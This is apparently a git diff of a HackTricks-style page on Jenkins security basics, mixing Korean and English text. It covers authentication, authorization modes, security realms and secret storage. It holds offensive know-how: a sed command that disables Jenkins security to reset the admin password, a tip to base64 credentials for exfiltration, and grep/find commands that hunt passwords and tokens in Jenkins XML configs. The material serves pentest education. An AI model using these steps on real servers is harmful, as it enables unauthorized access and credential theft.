2. `<useSecurity>true</useSecurity>`라는 단어를 검색하고 **`true`**를 **`false`**로 변경합니다.
|
||||
1. `/var/lib/jenkins/config.xml` 또는 `C:\Program Files (x86)\Jenkis\`에 있는 Jenkins의 config.xml 파일에 접근합니다.
|
||||
2. `<useSecurity>true</useSecurity>` 항목을 찾아 단어 \*\*`true` \*\* 를 **`false`** 로 변경합니다.
|
||||
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
|
||||
3. **Jenkins** 서버를 **재시작**합니다: `service jenkins restart`
|
||||
4. 이제 다시 Jenkins 포털로 가면 **Jenkins가 자격 증명을 요청하지 않습니다**. "**Manage Jenkins**"로 이동하여 **관리자 비밀번호를 다시 설정**합니다.
|
||||
3. **Jenkins 서버를 재시작**: `service jenkins restart`
|
||||
4. 이제 Jenkins 포털로 다시 이동하면 이번에는 **Jenkins가 인증 정보를 요구하지 않습니다**. "**Manage Jenkins**"로 이동하여 **관리자 비밀번호를 다시 설정**합니다.
|
||||
5. 설정을 `<useSecurity>true</useSecurity>`로 변경하여 **보안을 다시 활성화**하고 **Jenkins를 다시 재시작**합니다.
|
||||
|
||||
## 참고자료
|
||||
|
||||
@@ -1,87 +1,98 @@
|
||||
# 기본 Jenkins 정보
|
||||
# Basic Jenkins Information
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 접근
|
||||
## Access
|
||||
|
||||
### 사용자 이름 + 비밀번호
|
||||
### Username + Password
|
||||
|
||||
Jenkins에 로그인하는 가장 일반적인 방법은 사용자 이름 또는 비밀번호입니다.
|
||||
가장 일반적인 Jenkins 로그인 방법은 username과 password입니다.
|
||||
|
||||
### 쿠키
|
||||
### Cookie
|
||||
|
||||
**권한이 있는 쿠키가 도난당하면**, 사용자의 세션에 접근하는 데 사용될 수 있습니다. 쿠키는 일반적으로 `JSESSIONID.*`라고 불립니다. (사용자는 자신의 모든 세션을 종료할 수 있지만, 먼저 쿠키가 도난당했음을 알아야 합니다).
|
||||
If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen).
|
||||
|
||||
### SSO/플러그인
|
||||
### SSO/Plugins
|
||||
|
||||
Jenkins는 플러그인을 사용하여 **타사 SSO를 통해 접근 가능하도록** 구성할 수 있습니다.
|
||||
Jenkins는 플러그인을 통해 **third party SSO로 접근 가능하도록** 구성할 수 있습니다.
|
||||
|
||||
### 토큰
|
||||
### Tokens
|
||||
|
||||
**사용자는 토큰을 생성하여** CLI 또는 REST API를 통해 자신을 가장하는 애플리케이션에 접근할 수 있도록 할 수 있습니다.
|
||||
**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API.
|
||||
|
||||
### SSH 키
|
||||
### SSH Keys
|
||||
|
||||
이 구성 요소는 Jenkins를 위한 내장 SSH 서버를 제공합니다. 이는 [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/)에 대한 대체 인터페이스이며, 명령은 모든 SSH 클라이언트를 사용하여 이 방법으로 호출할 수 있습니다. (문서에서)
|
||||
This component provides a built-in SSH server for Jenkins. It’s an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/))
|
||||
|
||||
## **권한 부여**
|
||||
## Authorization
|
||||
|
||||
`/configureSecurity`에서 **Jenkins의 권한 부여 방법을 구성할 수 있습니다**. 여러 가지 옵션이 있습니다:
|
||||
In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options:
|
||||
|
||||
- **누구나 무엇이든 할 수 있음**: 익명 접근조차도 서버를 관리할 수 있습니다.
|
||||
- **레거시 모드**: Jenkins <1.164와 동일합니다. **"admin" 역할**이 있는 경우 시스템에 대한 **전체 제어**가 부여되며, **그렇지 않은 경우**(익명 사용자 포함) **읽기** 접근만 가능합니다.
|
||||
- **로그인한 사용자는 무엇이든 할 수 있음**: 이 모드에서는 모든 **로그인한 사용자에게 Jenkins의 전체 제어**가 부여됩니다. 전체 제어를 가지지 않는 유일한 사용자는 **익명 사용자**로, **읽기 접근**만 가능합니다.
|
||||
- **행렬 기반 보안**: **누가 무엇을 할 수 있는지**를 표로 구성할 수 있습니다. 각 **열**은 **권한**을 나타냅니다. 각 **행**은 **사용자 또는 그룹/역할**을 **나타냅니다**. 여기에는 **인증되지 않은 사용자**를 나타내는 특별한 사용자 '**익명**'과 **모든 인증된 사용자**를 나타내는 '**인증된**'이 포함됩니다.
|
||||
- **Anyone can do anything**: Even anonymous access can administrate the server
|
||||
- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access.
|
||||
- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**.
|
||||
- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**.
|
||||
|
||||
.png>)
|
||||
|
||||
- **프로젝트 기반 행렬 권한 부여 전략:** 이 모드는 **각 프로젝트에 대해 별도로 추가 ACL 행렬을 정의할 수 있는** "**행렬 기반 보안**"의 확장입니다.
|
||||
- **역할 기반 전략:** **역할 기반 전략**을 사용하여 권한을 정의할 수 있습니다. `/role-strategy`에서 역할을 관리합니다.
|
||||
- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.**
|
||||
- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`.
|
||||
|
||||
## **보안 영역**
|
||||
## **Security Realm**
|
||||
|
||||
`/configureSecurity`에서 **보안 영역을 구성할 수 있습니다**. 기본적으로 Jenkins는 몇 가지 다른 보안 영역에 대한 지원을 포함합니다:
|
||||
In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms:
|
||||
|
||||
- **서블릿 컨테이너에 위임**: **Jenkins 컨트롤러를 실행하는 서블릿 컨테이너에 대한 인증을 위임**합니다. 예: [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Jenkins의 자체 사용자 데이터베이스:** 외부 시스템에 위임하는 대신 **Jenkins의 내장 사용자 데이터 저장소**를 사용하여 인증합니다. 기본적으로 활성화되어 있습니다.
|
||||
- **LDAP**: 구성된 LDAP 서버에 모든 인증을 위임하며, 사용자와 그룹 모두 포함됩니다.
|
||||
- **Unix 사용자/그룹 데이터베이스**: **Jenkins 컨트롤러의 기본 Unix** OS 수준 사용자 데이터베이스에 인증을 위임합니다. 이 모드는 권한 부여를 위해 Unix 그룹을 재사용할 수 있도록 합니다.
|
||||
- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Jenkins’ own user database:** Use **Jenkins’s own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default.
|
||||
- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups.
|
||||
- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization.
|
||||
|
||||
플러그인은 Jenkins를 기존 신원 시스템에 통합하는 데 유용할 수 있는 추가 보안 영역을 제공할 수 있습니다:
|
||||
Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as:
|
||||
|
||||
- [Active Directory](https://plugins.jenkins.io/active-directory)
|
||||
- [GitHub 인증](https://plugins.jenkins.io/github-oauth)
|
||||
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
|
||||
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
|
||||
|
||||
## Jenkins 노드, 에이전트 및 실행기
|
||||
## Jenkins Nodes, Agents & Executors
|
||||
|
||||
[문서](https://www.jenkins.io/doc/book/managing/nodes/)에서 정의:
|
||||
Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/):
|
||||
|
||||
**노드**는 **빌드 에이전트가 실행되는 머신**입니다. Jenkins는 각 연결된 노드의 디스크 공간, 여유 임시 공간, 여유 스왑, 시계 시간/동기화 및 응답 시간을 모니터링합니다. 이러한 값 중 하나라도 구성된 임계값을 초과하면 노드는 오프라인 상태가 됩니다.
|
||||
**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold.
|
||||
|
||||
**에이전트**는 **실행기**를 사용하여 Jenkins 컨트롤러를 대신하여 **작업 실행**을 **관리**합니다. 에이전트는 Java를 지원하는 모든 운영 체제를 사용할 수 있습니다. 빌드 및 테스트에 필요한 도구는 에이전트가 실행되는 노드에 설치되며, **직접 설치하거나 컨테이너**(Docker 또는 Kubernetes)에서 설치할 수 있습니다. 각 **에이전트는 호스트 머신에서 고유한 PID를 가진 프로세스**입니다.
|
||||
**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine.
|
||||
|
||||
**실행기**는 **작업 실행을 위한 슬롯**입니다. 본질적으로, 이는 **에이전트의 스레드**입니다. 노드의 **실행기 수**는 해당 노드에서 동시에 실행할 수 있는 **동시 작업 수**를 정의합니다. 즉, 이는 해당 노드에서 동시에 실행할 수 있는 **동시 파이프라인 `단계` 수**를 결정합니다.
|
||||
An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time.
|
||||
|
||||
## Jenkins 비밀
|
||||
## Jenkins Secrets
|
||||
|
||||
### 비밀 및 자격 증명의 암호화
|
||||
### Encryption of Secrets and Credentials
|
||||
|
||||
[문서](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)에서 정의: Jenkins는 **AES를 사용하여 비밀**, 자격 증명 및 해당 암호화 키를 보호합니다. 이러한 암호화 키는 `$JENKINS_HOME/secrets/`에 저장되며, 해당 키를 보호하는 데 사용되는 마스터 키와 함께 저장됩니다. 이 디렉토리는 Jenkins 컨트롤러가 실행되는 운영 체제 사용자만 읽기 및 쓰기 접근을 가질 수 있도록 구성해야 합니다(즉, `chmod` 값이 `0700`이거나 적절한 파일 속성을 사용). **마스터 키**(때때로 암호 용어에서 "키 암호화 키"라고도 함)는 **Jenkins 컨트롤러 파일 시스템에 \_암호화되지 않은 상태로 저장됩니다** **`$JENKINS_HOME/secrets/master.key`**에 저장되어 있으며, 이는 해당 파일에 직접 접근할 수 있는 공격자에 대한 보호를 제공하지 않습니다. 대부분의 사용자와 개발자는 [Secret](https://javadoc.jenkins.io/byShortName/Secret) API를 통해 일반 비밀 데이터를 암호화하거나 자격 증명 API를 통해 이러한 암호화 키를 간접적으로 사용합니다. 암호화에 관심이 있는 사람들을 위해, Jenkins는 AES를 암호 블록 체인(CBC) 모드와 PKCS#5 패딩 및 무작위 IV를 사용하여 [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) 인스턴스를 암호화하며, 이는 `$JENKINS_HOME/secrets/`에 해당 `CryptoConfidentialKey` ID에 해당하는 파일 이름으로 저장됩니다. 일반적인 키 ID는 다음과 같습니다:
|
||||
Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_암호화되지 않음**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include:
|
||||
|
||||
- `hudson.util.Secret`: 일반 비밀에 사용됩니다.
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: 일부 자격 증명 유형에 사용됩니다.
|
||||
- `jenkins.model.Jenkins.crumbSalt`: [CSRF 보호 메커니즘](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)에서 사용됩니다.
|
||||
- `hudson.util.Secret`: used for generic secrets;
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types;
|
||||
- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and
|
||||
|
||||
### 자격 증명 접근
|
||||
### Credentials Access
|
||||
|
||||
자격 증명은 **전역 제공자**(`credentials/`)에 범위가 지정될 수 있으며, 이는 구성된 모든 프로젝트에서 접근할 수 있습니다. 또는 **특정 프로젝트**(`job/<project-name>/configure`)에 범위가 지정되어 해당 특정 프로젝트에서만 접근할 수 있습니다.
|
||||
Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job/<project-name>/configure`) and therefore only accessible from the specific project.
|
||||
|
||||
[**문서**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/)에 따르면: 범위 내에 있는 자격 증명은 제한 없이 파이프라인에 제공됩니다. **빌드 로그에서 우발적인 노출을 방지하기 위해**, 자격 증명은 일반 출력에서 **마스킹**되므로 `env`(Linux) 또는 `set`(Windows) 호출이나 환경 또는 매개변수를 인쇄하는 프로그램이 **빌드 로그에서 자격 증명을 노출하지 않습니다**.
|
||||
According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials.
|
||||
|
||||
**그래서 자격 증명을 유출하기 위해 공격자는 예를 들어, base64로 인코딩해야 합니다.**
|
||||
**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
|
||||
|
||||
## 참조
|
||||
### Secrets in plugin/job configs on disk
|
||||
|
||||
Do not assume secrets are only in `credentials.xml`. Many plugins persist secrets in their **own global XML** under `$JENKINS_HOME/*.xml` or in per-job `$JENKINS_HOME/jobs/<JOB>/config.xml`, sometimes even in plaintext (UI masking does not guarantee encrypted storage). If you gain filesystem read access, enumerate those XMLs and search for obvious secret tags.
|
||||
```bash
|
||||
# Global plugin configs
|
||||
ls -l /var/lib/jenkins/*.xml
|
||||
grep -R "password\\|token\\|SecretKey\\|credentialId" /var/lib/jenkins/*.xml
|
||||
|
||||
# Per-job configs
|
||||
find /var/lib/jenkins/jobs -maxdepth 2 -name config.xml -print -exec grep -H "password\\|token\\|SecretKey" {} \\;
|
||||
```
|
||||
## 참고 자료
|
||||
|
||||
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
|
||||
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
|
||||
@@ -90,5 +101,6 @@ Jenkins는 플러그인을 사용하여 **타사 SSO를 통해 접근 가능하
|
||||
- [https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)
|
||||
- [https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)
|
||||
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
|
||||
- [https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/](https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user